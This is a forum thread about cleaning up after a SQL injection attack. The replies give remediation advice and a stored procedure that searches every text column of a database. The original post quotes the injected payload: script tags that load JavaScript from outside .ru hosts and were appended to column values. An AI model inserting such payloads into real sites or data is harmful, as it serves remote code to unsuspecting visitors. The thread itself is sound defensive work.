Please start any new threads on our new site at https://forums.sqlteam.com. We've got lots of great SQL Server experts to answer whatever question you can come up with.

 All Forums
 SQL Server 2005 Forums
 Transact-SQL (2005)
 Correct damage from SQL injection

Author  Topic 

Mondeo
Constraint Violating Yak Guru

287 Posts

Posted - 2008-08-18 : 10:30:29
Hi,

A couple of our databases have been hit with an SQL injection attack. Essentially certain columns have had some javascript source appended like this

Seascapes<script src=http://www.removed.ru/js.js></script><script src=http://www.removed2.ru/js.js></script>

I need to go through every column in every table in my database and replace the following strings if they exist

<script src=http://www.removed.ru/js.js></script>
<script src=http://www.removed2.ru/js.js></script>

Whats the best way to do that?

Thanks

TG
Master Smack Fu Yak Hacker

6065 Posts

Posted - 2008-08-18 : 10:56:38
First thing to do is protect yourself against more attacks. Switch to strongly typed, parameterized SPs. Don't use dynamic sql to "exec" any user entered text. Limit privs of the db account to only be able to do what you want it to do.

You could generate code to correct the data much the same way that the attacker used to corrupt your data. Loop through the sys tables to construct UPDATE statements that includes REPLACE statements.

Be One with the Optimizer
TG
Go to Top of Page

Mondeo
Constraint Violating Yak Guru

287 Posts

Posted - 2008-08-18 : 11:13:18
Hi thanks for that, you're right we changed the affected code to SP's straightaway.

How would we go about your suggestion for fixing the data, is it the syscolumns table we need?

thanks
Go to Top of Page

TG
Master Smack Fu Yak Hacker

6065 Posts

Posted - 2008-08-18 : 11:19:35
well if it is as you say "every column of every table" then you would need two nested loops, outer one for all tables, inner one for each column of current table. You could use Informatation_schema.tables and information_schema.columns or systables and syscolumns as two possibilities.

Be One with the Optimizer
TG
Go to Top of Page

Vinnie881
Master Smack Fu Yak Hacker

1231 Posts

Posted - 2008-08-18 : 11:25:12
You can use this to check, and then slightly modify the procedure so the insert is a update to the value you want instead.

CREATE PROC SearchAllTables
(
@SearchStr nvarchar(100)
)
AS
BEGIN

-- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.
-- Purpose: To search all columns of all tables for a given search string
-- Written by: Narayana Vyas Kondreddi
-- Site: http://vyaskn.tripod.com
-- Tested on: SQL Server 7.0 and SQL Server 2000
-- Date modified: 28th July 2002 22:50 GMT


CREATE TABLE #Results (ColumnName nvarchar(370), ColumnValue nvarchar(3630))

SET NOCOUNT ON

DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110)
SET @TableName = ''
SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')

WHILE @TableName IS NOT NULL
BEGIN
SET @ColumnName = ''
SET @TableName =
(
SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_TYPE = 'BASE TABLE'
AND QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
AND OBJECTPROPERTY(
OBJECT_ID(
QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)
), 'IsMSShipped'
) = 0
)

WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)
BEGIN
SET @ColumnName =
(
SELECT MIN(QUOTENAME(COLUMN_NAME))
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA = PARSENAME(@TableName, 2)
AND TABLE_NAME = PARSENAME(@TableName, 1)
AND DATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar')
AND QUOTENAME(COLUMN_NAME) > @ColumnName
)

IF @ColumnName IS NOT NULL
BEGIN
INSERT INTO #Results
EXEC
(
'SELECT ''' + @TableName + '.' + @ColumnName + ''', LEFT(' + @ColumnName + ', 3630)
FROM ' + @TableName + ' (NOLOCK) ' +
' WHERE ' + @ColumnName + ' LIKE ' + @SearchStr2
)
END
END
END

SELECT ColumnName, ColumnValue FROM #Results
END
Go to Top of Page

SwePeso
Patron Saint of Lost Yaks

30421 Posts

Posted - 2008-08-18 : 11:40:51
Not all columns are needed.
Only TEXT/NTEXT/VARCHAR/NVARCHAR/CHAR/NCHAR columns.



E 12°55'05.25"
N 56°04'39.16"
Go to Top of Page
   

- Advertisement -